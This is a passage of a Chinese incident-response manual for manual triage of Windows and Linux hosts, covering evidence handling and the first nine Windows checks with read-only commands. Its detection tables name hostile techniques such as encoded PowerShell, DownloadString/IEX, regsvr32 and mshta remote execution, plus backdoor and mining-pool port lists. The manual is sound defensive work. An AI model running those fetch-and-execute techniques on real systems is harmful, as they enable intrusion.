应急响应
人工排查手册

Windows · Linux · Web 日志 · WebShell

一句话用法：拿一台不能联网、不能插盘的主机，翻到对应章，照着命令逐条敲，把输出填进本章末尾的汇总表，最后用第 7 章收敛结论。

适用平台
Windows Server 2008R2–2022
主流 Linux 发行版

版本
v1.0（2026-10）

覆盖范围
65 个检查项
Windows 33 / Linux 32

对应脚本
er_check.py 1.0

本手册全部命令均为只读，不删除、不修改、不结束进程、不重启。
唯一的写操作集中在第 7.5 节，且标注「取证之后再操作」。
不含二维码、网址、外链字体，可在完全离线的打印环境使用。
来源列中的 Lxxxx 行号对应当前版本脚本的快照；脚本升级后请以函数名为准，行号仅作辅助定位。

目 录

共 98 页 | 页码为正文实际页码 | 章节号与脚本检查顺序一致

第 0 章 通用方法 5
0.1 三条铁律 5
0.2 证据固定的五个动作 5
0.3 提取样本的正确做法 6
0.4 时间线与时间基准 6
0.5 本手册的使用方法 7
0.6 严重级别定义 7

第 1 章 Windows 主机排查 8
1.1 系统与补丁信息 8
1.2 账号与登录安全 9
1.3 启动项与自启动目录 10
1.4 计划任务 11
1.5 系统服务与驱动服务 12
1.6 进程、端口与网络连接 14
1.7 文件系统与隐藏文件 15
1.8 事件日志分析 16
1.9 深度事件日志（PS 脚本块 / Sysmon / WMI 活动 / 任务计划 / Defender / RDP / 防火墙） 17
1.10 安全日志增强（登录类型 / 特权与显式凭据 / Kerberos / 共享访问 / DCSync / 日志清空） 18
1.11 WMI 事件订阅持久化 19
1.12 LSA / 打印 / 网络劫持点 21
1.13 BITS 后台传输任务 22
1.14 杀软与防护状态 23
1.15 凭据与自动登录配置 24
1.16 代理 / DNS / UAC / RDP / WinRM 配置 25
1.17 共享与会话（横向移动） 26
1.18 进程树与异常进程 27
1.19 可疑程序取证画像 28
1.20 驱动、根证书与防火墙规则 29
1.21 Windows 提权面（未引用服务路径 / AlwaysInstallElevated / 失败恢复 / 隐藏任务） 31
1.22 高级劫持持久化面（辅助功能 / COM / Shell 扩展 / 打印处理器 / 时间·凭据·网络提供者 / Winlogon / BootExecute·RunOnceEx / GPO 脚本） 32
1.23 网络与配置面（DNS 缓存情报 / ARP / 路由 / 防火墙配置档 / 端口转发） 33
1.24 进程与内存深度（跨视图隐藏进程 / 模块链 / 进程树 / Java 内存马线索） 34
1.25 取证与响应基线（时间线素材 / ATT&CK 映射，只读） 35
1.26 自定义规则 · 哈希库 · PE 与字符串（人工近似） 36
1.27 文件内容特征 · YARA-like · 日志规则（人工近似） 37
1.28 Active Setup 持久化面（StubPath 登录即执行，HKLM / HKCU） 38
1.29 PowerShell Profile 持久化（$PROFILE 各分支存在性与内容特征） 39
1.30 Office / COM 加载项与受信任位置（Addins / *.wll / *.xll / Trusted Locations） 40
1.31 持久化归因（条目 ← 创建进程 ← 创建时间） 41
1.32 Web 访问日志分析（自动发现 IIS 日志） 42
1.33 Web 站点目录内容查杀（自动发现站点根） 43
表 1-1 第 1 章检查结果汇总 45

目 录（续）

第 2 章 Linux 主机排查 47
2.1 系统与内核信息 47
2.2 账号与登录安全 48
2.3 命令历史 49
2.4 定时任务 50
2.5 启动项与 rc.local 51
2.6 后门与持久化（通用位置） 52
2.7 进程、端口与网络连接 53
2.8 文件系统与隐藏文件 54
2.9 日志分析 55
2.10 隐藏进程与资源占用 56
2.11 内核模块 57
2.12 文件 capabilities 58
2.13 SSH 后门面 59
2.14 注入点与自启动（环境与动态链接） 60
2.15 at / systemd timer 62
2.16 Web 应用层后门（按目录） 63
2.17 恶意家族与勒索痕迹 64
2.18 横向移动工具 65
2.19 日志完整性（反取证） 66
2.20 审计与登录记录 67
2.21 包完整性校验 68
2.22 容器 / 虚拟化环境 69
2.23 应用与中间件日志 70
2.24 网络与配置面（DNS / 邻居 / 路由 / 非 iptables 防火墙 / 代理 / NFS·Samba / conntrack） 71
2.25 Linux 持久化与内核面（rc / 环境注入 / sysctl / PAM / systemd socket / cron @reboot / 容器·K8s 滥用 / ld.so） 72
2.26 进程与内存深度（maps 异常映射 / 异常环境变量 / 双向隐藏进程 / 进程树 / Java 线索 / fd 句柄面） 73
2.27 取证与响应基线（时间线素材 / ATT&CK 映射，只读） 74
2.28 自定义规则 · 哈希库 · PE 与字符串（人工近似） 75
2.29 文件内容特征 · YARA-like · 日志规则（人工近似） 76
2.30 容器与 K8s 深度面（静态 Pod 清单 / 控制面凭据权限 / 逃逸迹象 / 运行时配置） 77
2.31 Web 访问日志分析（nginx / apache，含轮转） 78
2.32 Web 站点目录内容查杀 79
表 2-1 第 2 章检查结果汇总 80

第 3 章 Web 日志分析 82
3.1 日志在哪里 82
3.2 Apache combined 格式逐字段 82
3.3 Nginx 默认格式 83
3.4 IIS W3C 扩展格式 83
3.5 六类攻击特征 84
3.6 分析流程（四步） 84
3.7 常见误报 85

目 录 (续)

第 4 章 WebShell 人工查杀 86
4.1 一句话木马 86
4.2 大马与管理工具 86
4.3 命名与位置特征 87
4.4 混淆手法 87
4.5 图片马与文件头伪造 87
4.6 隐藏文件与时间戳 88
4.7 内存马（无文件） 88
4.8 人工审阅清单 89

第 5 章 持久化与后门速查 90
5.1 Windows 持久化面（11 个） 90
5.2 Linux 持久化面（8 个） 91
5.3 快速判定口诀 91

第 6 章 威胁情报与 IOC 快速比对 92
6.1 离线可用的四类情报 92
6.2 在本机搜 IP / 域名 / 哈希 92
6.3 IOC 登记表 93
6.4 命中之后怎么判 93

第 7 章 结论汇总与时间线 94
7.1 结论汇总表 94
7.2 时间线模板 94
7.3 报告骨架 95
7.4 六种常见误判 95
7.5 【处置】（取证之后再操作） 95

附录 A 常用命令速查卡 96

附录 B 判据阈值与端口表 97
B.1 数量与时间阈值 97
B.2 后门 / 远控端口（14 个） 97
B.3 矿池端口（8 个） 97
B.4 提权与持久化关键字 98
B.5 以下为脚本未覆盖、经验补充 98

CHAPTER 0 / 通用

第 0 章 通用方法

通用 在任何一条排查命令之前，先把「此刻」固定下来。本章的四件事做错顺序，后面查到的东西都不能作为证据。

0.1 三条铁律 顺序不能颠倒

现场最常见的失误不是「没查到」，而是「查到了但证明不了」。以下三条按顺序执行，任何一条跳过都会让后续结论失去证据效力。

先快照，后分析	把当前进程、网络连接、登录会话、内存中的命令行原样导出到只读介质。分析过程中的任何操作（包括打开文件、运行工具）都会改变系统状态。
先哈希，后复制	对每个要提取的文件，先记录原始路径、大小、时间戳与 SHA256，再复制。复制件的哈希必须与原件一致，否则整条证据链断裂。
先留日志，后清现场	日志是唯一能还原「攻击者做过什么」的记录。在确认日志已完整导出并校验之前，不要重启、不要清空、不要「顺手清理」。

本手册全部命令均为只读。唯一的写操作集中在第 7.5 节，且明确标注「取证之后再操作」。

0.2 证据固定的五个动作 每个动作都要留下记录

#	动作	做什么	留下什么
1	拍照	屏幕全屏拍摄，包含任务栏时间、主机名、命令窗口标题	照片编号 + 拍摄时间
2	导出	命令输出重定向到文件，不用「选中复制」	文件名 + 大小 + 生成时间
3	哈希	`certutil -hashfile`（Win）/ `sha256sum`（Linux）	SHA256 全串
4	复制	复制到只读介质，原件保持原位不动	复制件路径 + 复制时间
5	登记	在证据清单中登记 1–4 的全部信息并签名	证据清单（附报告首页）

```
# Windows：建立工作目录并导出第一份基线
mkdir D:\case
systeminfo > D:\case\01_systeminfo.txt
certutil -hashfile D:\case\01_systeminfo.txt SHA256 >> D:\case\00_hash.txt

# Linux：同样先建目录，再导出
sudo mkdir -p /mnt/case
ps auxf > /mnt/case/01_ps.txt
sha256sum /mnt/case/01_ps.txt >> /mnt/case/00_hash.txt
```

> 介质写入前先确认剩余空间：Windows `dir D:\`，Linux `df -h /mnt/case`。日志包动辄数百 MB，写满会导致导出中断且难以察觉。

0.3 提取样本的正确做法 只复制，不执行；只读打开，不双击

批注 样本提取的目标是「可复核」，不是「能运行」。整个过程禁止双击、禁止用杀软扫描后隔离（会改变原文件），禁止上传到任何在线平台。

```
# Windows：先记录属性，再复制，再校验
certutil -hashfile "C:\path\suspect.exe" SHA256
copy /y "C:\path\suspect.exe" D:\case\samples\
certutil -hashfile "D:\case\samples\suspect.exe" SHA256

# Linux：用 cp -p 保留时间戳，复制后再校验
sha256sum /tmp/.x
cp -p /tmp/.x /mnt/case/samples/
sha256sum /mnt/case/samples/.x
```

情况	做法	禁止
文件正在被进程占用	先记录进程 PID 与路径，用 `copy /b` 或 `cp` 尝试读取；失败则记录「被占用无法提取」	不要 kill 进程后再取（会丢失内存证据）
文件已被删除但进程仍在	记录 `/proc/PID/exe` 指向，Linux 可 `cp /proc/PID/exe`；Windows 记录句柄信息	不要重启
文件极大（> 2GB）	只提取头部 1MB 与尾部 1MB，并注明截断	不要整盘复制
磁盘已满	优先提取配置文件与小体积脚本，记录未提取清单	不要删除任何现有文件腾空间

0.4 时间线与时间基准 所有判断都建立在「时间可信」之上

先确认三件事：主机时区、系统时间与标准时间的偏差、日志时间戳用的是本地时间还是 UTC。三者不确认，跨设备比对必然错位。

```
# Windows：时区与时间偏差
systeminfo | findstr /C:"时间" /C:"Time"
tzutil /g
w32tm /query /status

# Linux：时区、NTP 状态、当前时间
timedatectl
date -u; date
timedctl show 2>/dev/null | head -5
```

时间线表按「时间 / 来源 / 事件 / 证据位置」四列记录。同一事件若有多个来源（如文件 mtime 与登录日志），两行都记，互相印证。第 7.2 节给出模板。

文件时间可以被篡改（timestomp）。判定优先级：日志时间 > 文件 ctime > 文件 mtime。当 mtime 明显早于 ctime 且差值 > 1 秒时，应怀疑时间戳被改。

0.5 本手册的使用方法 每项五段，照做即可

段落	含义	填到哪里
□ 检查项标题	先勾选「已检查」，做完再勾「正常 / 异常」	标题右侧方框
① 检查目的	一句话说明为什么要查，判断是否适用于本机	—
② 执行命令	逐条复制执行；标注 cmd / PowerShell / bash	—
③ 正常样例	对照输出形态，先确认「看起来像正常」	—
④ 异常特征	逐条比对，命中即按级别记入汇总表	表 x-1「结果」列
⑤ 证据留存	把哪一行、哪个文件记到哪一列	表 x-1「证据位置」列

每章末尾有一张汇总表（表 1-1、表 2-1 等）。检查完一项立即填写，不要等全章做完再回忆——现场最容易丢失的就是「当时看到的那个路径」。

0.6 严重级别定义 全手册统一口径

级别	含义	典型情形	建议动作
严重	已可确证入侵或后门存在	内存马、WebShell 落地、挖矿进程、日志被清	立即上报，按 7.5 处置
高危	强异常，极可能为恶意	启动项指向 Temp、陌生公钥、陌生管理员账号	优先核实，准备处置
中危	可疑，需结合上下文判断	配置被改、权限过宽、异常时间点	记录并交叉验证
低危	不合规但未必恶意	补丁滞后、日志过短、空口令策略	纳入加固清单
提示	仅作记录，供关联分析	无签名、路径非常规、UA 可疑	写入时间线备查

> 一条「提示」不足以下结论，但十条「提示」指向同一时间窗时，往往就是攻击链。汇总表的价值在于把分散的提示串起来。

批注

第0章

CHAPTER 1 / Windows

第 1 章 Windows 主机排查

批注

Windows 本章 33 个检查项与 er_check.py 的 WIN_STEPS 一一对应、顺序一致。每一项按五段式执行，做完立即填表 1-1。

1.1 系统与补丁信息

P1

对应脚本：win_env_info() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① 检查目的

确认主机身份、系统版本与补丁级别，判断是否存在长期未修补的高危漏洞，以及系统是否被改过版本信息或长期未重启。

② 执行命令

cmd

```
hostname & whoami & ver
systeminfo
wmic qfe list brief /format:table
wmic os get Caption,Version,BuildNumber,InstallDate,LastBootUpTime /format:list
```

③ 正常样例

```
主机名:            WEB-SRV01
OS 名称:           Microsoft Windows Server 2016 Standard
OS 版本:           10.0.14393 暂缺 Build 14393
系统制造商:        VMware, Inc.
系统启动时间:      2026/10/18 3:12:07
修补程序:          安装了 4 个 Hotfix

HotFixID   InstalledOn
KB5031224  2026/9/12
KB5034129  2026/10/9
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
Build 号低于 14393（即 Win7 / 2008R2 / 2012 系列）且对外提供 445 端口（MS17-010 等历史 SMB 漏洞风险；需结合补丁号 KB4012212/KB4012215 复核）	高危	经验
近 180 天无任何 Hotfix，且主机可出网（补丁长期缺失）	高危	经验
系统启动时间在案发时间窗内、且非计划内重启（可能被用于清除内存痕迹）	中危	经验
OS 名称/版本与资产台账明显不符（系统被重装或镜像被替换）	中危	经验
InstallDate 晚于资产入库时间（近期被重装，需核对原因）	提示	经验

说明：本节判据均为经验补充；脚本 `win_env_info()` 只做信息采集与原始输出，不做本表判定。

▸ **如何排除误报**

- 补丁由 WSUS/SCCM 分批推送，部分主机滞后属正常，需与运维确认窗口。
- 克隆虚拟机保留原始 InstallDate，不代表重装。

⑤ **证据留存**

截图或抄录 systeminfo 的「主机名 / OS 版本 / 系统启动时间」三行，填入表 1-1 备注列；`wmic qfe` 全表另存为 `01_qfe.txt` 一并交回。启动时间同时写入第 7 章时间线表作为「基线时刻」。

1.2 账号与登录安全

P1

对应脚本：win_accounts() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

发现隐藏账号、克隆账号、异常管理员组成员，以及被改动的登录策略（如口令永不过期、最小长度被下调）。

② **执行命令**

```cmd
net user
net localgroup administrators
wmic useraccount get Name,SID,Disabled,Lockout,PasswordRequired,PasswordChangeable /format:table
reg query "HKLM\SAM\SAM\Domains\Account\Users" /s
net accounts
```

③ **正常样例**

```
\admin            Administrator            Guest
-------------------------------------------------------------------------------
Administrator            admin                    DefaultAccount
Guest                    WDAGUtilityAccount
命令成功完成。

别名     administrators
Administrator
admin

强制用户在时间到期之后多久必须注销?:  从不
密码最长使用期限 (天):                42
```

（输出已截断，仅示意形态）

批注

第一章

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
存在以 `$` 结尾的账号（如 `admin$`），`net user` 可见但登录界面不显示	严重	**脚本** win_accounts() L1392
管理员组内出现陌生账号，或 SID 与 Administrator 的 RID 相近（克隆账号，如 ...-500 后缀被复制）	严重	**脚本** win_accounts() L1398
账号 `PasswordRequired=False` 且处于启用状态（空口令可登录）	高危	**脚本** win_accounts() L1437
`net accounts` 显示「密码最长使用期限: 无限制」且「最小密码长度」为 0	高危	**脚本** win_accounts() L1437
Guest 被启用，或存在近期创建但从未登录的账号	中危	**经验**
本地账号数量远多于运维登记数量	提示	**经验**

▸ **如何排除误报**

- 应用账号（如 sqlbackup、svc_monitor）常带 `$` 或长随机名，属正常，需与资产台账核对。
- 域账号会出现在本地管理员组，属策略授权，不是异常。

⑤ **证据留存**

抄录 `net user` 的完整名单与 `net localgroup administrators` 成员，逐条填入表 1-1；对可疑账号记录 `wmic useraccount` 的 SID 全串与该账号的 profile 目录路径、创建时间（`dir /tc C:\Users`）。

1.3 启动项与自启动目录

P1

对应脚本：win_autoruns() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

恶意程序最常用的驻留方式。逐一核对 Run/RunOnce 键与两个启动文件夹，找出无签名、指向临时目录、命令行带编码的参数。

② **执行命令**

```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /s
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" /s
dir /a "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
dir /a "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
wmic startup get Caption,Command,Location,User /format:table
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
```

③ **正常样例**

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SecurityHealth    REG_EXPAND_SZ    %windir%\system32\SecurityHealthSystray.exe
    VMware Tools      REG_SZ           "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
    RtkAudUService    REG_SZ           "C:\Windows\System32\RtkAudUService64.exe" -background

目录: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
2026/09/12  10:22    <DIR>          .
2026/09/12  10:22    <DIR>          ..
               0 个文件
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
命令指向 `%TEMP%`、`%APPDATA%\Roaming\`、`C:\Users\Public\`、`C:\ProgramData\` 下的 exe/dll/ps1/vbs	严重	**脚本** win_autoruns() L1546
命令行含 `-enc`、`-EncodedCommand`、`FromBase64String`、`DownloadString`、`IEX`	严重	**脚本** win_autoruns() L1546
指向的文件不存在（键值残留，可能是已删除的木马；也可能是清理不彻底）	高危	**经验**
条目名伪装成系统组件（如 `WindowsUpdater`、`SecurityHealth` 但路径不在 System32）	高危	**经验**
启动目录中存在 .lnk 且目标为 `cmd.exe /c`、`mshta`、`rundll32`、`wscript`	中危	**经验**
条目指向的文件无数字签名（`Get-AuthenticodeSignature` 为 NotSigned）	提示	**经验**
IFEO 下出现 `Debugger` 值，且指向 `System32` 之外的 exe（映像劫持）	高危	**脚本** win_autoruns() L1489–1500

▸ **如何排除误报**

- `SecurityHealth`、`RtkAudUService`、`VMware Tools`、`OneDrive`、`Teams` 属常见正常项；判据应看**路径**而非名字。
- Office/输入法/杀软常把更新器放入 Run，路径在 `Program Files` 下即视为正常范围。
- `RunOnce` 为空不代表没跑过，部分安装程序执行后自删，需结合文件时间看。
- IFEO 下大量子键属正常（应用兼容性标记常见 `UseFilter`、`GlobalFlag`），只有 `Debugger` 才是劫持。

⑤ **证据留存**

把每个可疑条目的「键路径 + 值名 + 完整命令行 + 文件路径」四件套抄入表 1-1；对落地文件执行 `certutil -hashfile "路径" SHA256` 并记录首 16 位哈希，文件本身按第 0.3 节提取封存。

1.4 计划任务

P1

对应脚本：win_tasks() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

计划任务是持久化的第二大载体，需同时查任务本体（schtasks）与注册表缓存（TaskCache），后者能看到已被删除但仍留痕的任务名。

② **执行命令**

```cmd
schtasks /query /fo LIST /v > %TEMP%\tasks.txt & findstr /i "任务名 运行的任务 状态 下次运行时间" %TEMP%\tasks.txt
schtasks /query /fo TABLE /nh | findstr /v /i "Microsoft\\Windows"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" /s
```

③ **正常样例**

```
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
\Microsoft\Windows\Defrag\ScheduledDefrag  N/A                     Ready
\Adobe Acrobat Update Task               N/A                    Disabled

HKEY_LOCAL_MACHINE\...\TaskCache\Tasks\{8C3F...}
    Path    REG_SZ    \Adobe Acrobat Update Task
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
任务动作调用 `powershell -enc`、`mshta`、`regsvr32 /s /u /i:http`、`rundll32 javascript:`	严重	**脚本** win_tasks() L1586
任务以 SYSTEM 身份运行，且脚本位于用户可写目录（Temp / ProgramData / Public）	严重	**脚本** win_tasks() L1586
触发器为「开机时 / 登录时 / 每 5 分钟」，动作为陌生 exe 或 .bat/.vbs/.ps1	高危	**经验**
TaskCache 中存在任务名，但 `schtasks` 里已查不到（任务被删、缓存留痕）	高危	**经验**
任务名伪装为 `Microsoft\Windows\...` 子路径，但动作不是系统组件	中危	**经验**
任务作者字段（Author）为空或为陌生用户名，且创建时间在案发窗口内	中危	**经验**

▸ **如何排除误报**

- Adobe / Google / Microsoft Update 类任务常年存在且多为 Disabled，属正常。
- `\Microsoft\Windows\*` 下的任务绝大多数为系统自带，重点看动作路径是否在 System32。
- 部分软件安装后创建一次性任务，执行完保留空壳，需结合 Last Run Time 判断。

⑤ **证据留存**

记录「任务名 + 动作完整命令行 + 运行身份 + 触发器 + 创建时间」，填入表 1-1；`schtasks /query /fo LIST /v` 全量输出另存 `04_tasks.txt`。TaskCache 中孤立的 GUID 也要抄下 `Path` 值。

1.5 系统服务与驱动服务

P1

对应脚本：win_services() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

服务以 SYSTEM 权限常驻，是内核级后门与挖矿程序的首选宿主。核对服务二进制路径、启动类型与签名状态。

② **执行命令**

```cmd
sc query type= service state= all | findstr /C:"SERVICE_NAME" /C:"DISPLAY_NAME"
wmic service get Name,DisplayName,State,StartMode,PathName,StartName /format:table
driverquery /v /fo table
sc qc 服务名
```

③ **正常样例**

```
SERVICE_NAME: Winmgmt
DISPLAY_NAME: Windows Management Instrumentation
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 4  RUNNING

Name              StartMode  PathName
Winmgmt           Auto       C:\Windows\system32\svchost.exe -k netsvcs
Spooler           Auto       C:\Windows\System32\spoolsv.exe
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`PathName` 不含引号且路径含空格 + 可写目录（未引用服务路径，本地提权/劫持）	严重	**脚本** `_priv_service_rows()` L2476
`PathName` 指向 `%TEMP%`、`C:\Users\Public`、`C:\ProgramData\` 下的可执行文件	严重	**脚本** `win_services()` L1630
服务名随机（8 位以上无意义字母组合）、DisplayName 为空、描述为空	高危	**经验**
驱动服务（type= kernel）路径不在 `System32\drivers`，或 .sys 文件无签名	高危	**脚本** `win_drivers_certs_firewall()` L9118
`StartName` 为 LocalSystem 但二进制由普通用户目录加载	高危	**脚本** `win_services()` L1634
服务状态为 STOPPED 但 StartMode 为 Auto 且连续启动失败（可能被杀软拦截）	中危	**经验**

▸ **如何排除误报**

- `svchost.exe -k` 为共享进程宿主，正常；但若路径不是 `C:\Windows\System32\svchost.exe` 即为严重异常。
- 第三方软件（杀软、备份、虚拟化）会注册内核驱动，路径常在 `Program Files`，有签名即可接受。
- `PENDING/STOP_PENDING` 状态可能是正在安装更新。

⑤ **证据留存**

对每个可疑服务执行 `sc qc 服务名`，抄录 BINARY_PATH_NAME、SERVICE_START_NAME、DISPLAY_NAME；再对该路径文件取 SHA256 并记入表 1-1「备注」。驱动类另记 `driverquery /v` 中对应的模块名与路径。

批注

第一章

1.6 进程、端口与网络连接

P1

对应脚本：win_process_net() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① 检查目的

把「谁在监听、谁在外连」与进程路径对应起来，找出监听高危端口、外连矿池/陌生公网 IP 的进程。

② 执行命令

```cmd
tasklist /v /fo table
wmic process get ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine /format:table
netstat -ano | findstr LISTENING
netstat -ano | findstr ESTABLISHED
netstat -anob
```

③ 正常样例

```
映像名称       PID  会话名     内存使用
svchost.exe   1024  Services   12,480 K
lsass.exe      612  Services    8,220 K

  TCP    0.0.0.0:445      0.0.0.0:0      LISTENING     4
  TCP    0.0.0.0:3389     0.0.0.0:0      LISTENING     1180
  TCP    10.1.2.33:49152  10.1.2.9:445   ESTABLISHED   2044
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
监听 4444 / 5555 / 6666 / 7777 / 8888 / 9999 / 12345 / 31337 / 1337 / 9001 / 8000 / 2222 / 4443 / 1080	严重	**脚本** win_process_net() L1841
进程外连矿池端口 3333/4444/5555/7777/14444/45700/8333/18081	严重	**脚本** win_process_net() L1841
ESTABLISHED 外连陌生公网 IP，且对应进程无签名或位于用户目录	高危	**脚本** win_process_net() L1812
同一进程对 10 个以上不同远端 IP 发起 445 连接（横向移动/蠕虫扩散）	高危	**脚本** win_process_net() L1853
监听 0.0.0.0 的非业务端口（如 8080/8888 在非 Web 主机上）	中危	**经验**
进程名与系统进程同名但 PID 明显异常、路径不在 System32	提示	**脚本** win_process_net() L1790

▸ **如何排除误报**

- 445/139 为 SMB 正常监听；3389 为 RDP，若业务需要则属正常，但需确认来源限制。
- 浏览器、即时通讯、更新程序会产生大量 ESTABLISHED，需按进程路径过滤而非按连接数判断。
- `svchost.exe` 承载多个服务，端口归属需用 `netstat -anob` 看承载服务名。

⑤ **证据留存**

抄录可疑连接的「本地地址:端口 / 远端地址:端口 / 状态 / PID / 进程名 / 进程完整路径」六列，填入表 1-1；`netstat -ano` 全量存 `06_netstat.txt`，`tasklist /v` 存 `06_tasks.txt`。

批注

1.7 文件系统与隐藏文件

P1

对应脚本：win_files() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

按时间与属性找落地物：近期新增的可执行文件、隐藏/系统属性文件、ADS 数据流、伪装扩展名。

② **执行命令**

```
cmd
dir /a /s /o-d C:\Users\Public | more
forfiles /p C:\Windows\Temp /s /d -30 /c "cmd /c echo @path @fdate @ftime"
dir /a:h /s C:\ /b 2>nul | findstr /i ".exe .dll .ps1 .bat .vbs .js"
dir /r C:\Users\Public
wmic datafile where "Drive='C:' and Extension='exe'" get Name,CreationDate,LastModified | findstr /v
"Windows\\System32"
```

③ **正常样例**

```
2026/10/19  02:14    <DIR>          .
2026/10/19  02:14            28,672  svchost.exe
2026/10/19  02:14               512  readme.txt

C:\Users\Public\svchost.exe:Zone.Identifier:$DATA
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
系统目录外出现与系统进程同名的文件（`svchost.exe`、`lsass.exe`、`csrss.exe`）	严重	**经验**
正常的 .txt/.jpg 文件带 `:Zone.Identifier:$DATA` 之外的 ADS（如 `:evil.exe`）	严重	**脚本** win_files() L2101
近 30 天新增的 exe/dll 位于 Temp、Public、ProgramData 且无签名	高危	**脚本** win_files() L2042
同时具备隐藏 + 系统属性（`dir /a` 才可见）的可执行文件	高危	**脚本** win_files() L2154
双扩展名伪装（`发票.pdf.exe`、`photo.jpg.scr`）	中危	**经验**
文件创建时间早于系统安装时间（时间戳被篡改的另一面）	提示	**经验**

▸ **如何排除误报**

- `C:\Windows\Temp` 与 `%TEMP%` 下常有安装包残留，需结合签名与创建时间判断。
- `Zone.Identifier` 是浏览器下载标记，属正常 ADS。
- 部分备份软件会生成隐藏目录，需核对是否为已知软件。

⑤ **证据留存**

记录「完整路径 + 大小 + 创建时间 + 修改时间 + 属性 + SHA256」，填入表 1-1；文件按第 0.3 节流程复制到取证介质并计算哈希，原始路径保留只读不动。

批注

1.8 事件日志分析

P1

对应脚本：win_logs() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

从安全/系统/应用三本日志中提取登录失败、账号变更、服务安装、日志清空等关键事件，建立时间线。

② **执行命令**

```cmd
wevtutil el
wevtutil qe Security /c:50 /rd:true /f:text /q:"*[System[(EventID=4625)]]"
wevtutil qe Security /c:30 /rd:true /f:text /q:"*[System[(EventID=4720 or EventID=4728 or EventID=4732 or EventID=4756)]]"
wevtutil qe System /c:40 /rd:true /f:text /q:"*[System[(EventID=7045 or EventID=7036)]]"
wevtutil qe Security /c:20 /rd:true /f:text /q:"*[System[(EventID=1102 or EventID=104)]]"
```

③ **正常样例**

```
事件[1]:
  日志名称:          Security
  来源:            Microsoft-Windows-Security-Auditing
  事件 ID:         4625
  级别:            信息
  时间:            2026/10/19 2:03:44
  描述: 帐户登录失败。帐户名: admin 失败原因: 未知用户名或密码错误。
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
事件 ID 1102 或 104（安全日志被清空）——反取证的确证，立即固定	严重	**脚本** win_security_advanced() L8542
事件 ID 7045（新服务安装）且服务路径在 Temp/Public 目录	严重	**脚本** win_logs() L2215
短时间大量 4625（同一 IP 失败 ≥20 次），尤其对 Administrator	高危	**脚本** win_logs() L2248
4720 新建账号 / 4732 加入管理员组，且操作者非运维账号	高危	**脚本** win_logs() L2230
4624 登录类型 3（网络）或 10（RDP）来自陌生网段	中危	**脚本** win_logs() L2279
日志服务未启动，或某本日志最早记录距今不足 7 天（可能被清过）	提示	**经验**

▸ **如何排除误报**

- 大量 4625 可能来自扫描器或配置错误的服务账号，需按来源 IP 与账号名聚类后判断。
- 1102 也可能是运维手工清理或日志轮转策略，须与运维核实。
- 7045 在系统更新、软件安装时正常出现，重点看服务路径与启动类型。

批注

第一章

⑤ **证据留存**

把关键事件的「时间 + 事件 ID + 账号 + 来源 IP」逐条抄入表 1-1 与第 7 章时间线表；日志原始导出为 evtx 文件（`wevtutil epl Security D:\case\Security.evtx`）后计算 SHA256 记录。

1.9 深度事件日志（PS 脚本块 / Sysmon / WMI 活动 / 任务计划 / Defender / RDP / 防火墙） P1

对应脚本：win_logs_advanced() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 1-1

① **检查目的**

标准日志之外的高价值通道：PowerShell 脚本块记录能还原明文命令，WMI 活动日志能发现无文件执行。

② **执行命令**

```ps
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 60 | Where-Object {$_.Id -in 4103,4104} | Format-List TimeCreated,Id,Message
Get-WinEvent -LogName "Microsoft-Windows-WMI-Activity/Operational" -MaxEvents 60 | Format-List TimeCreated,Id,Message
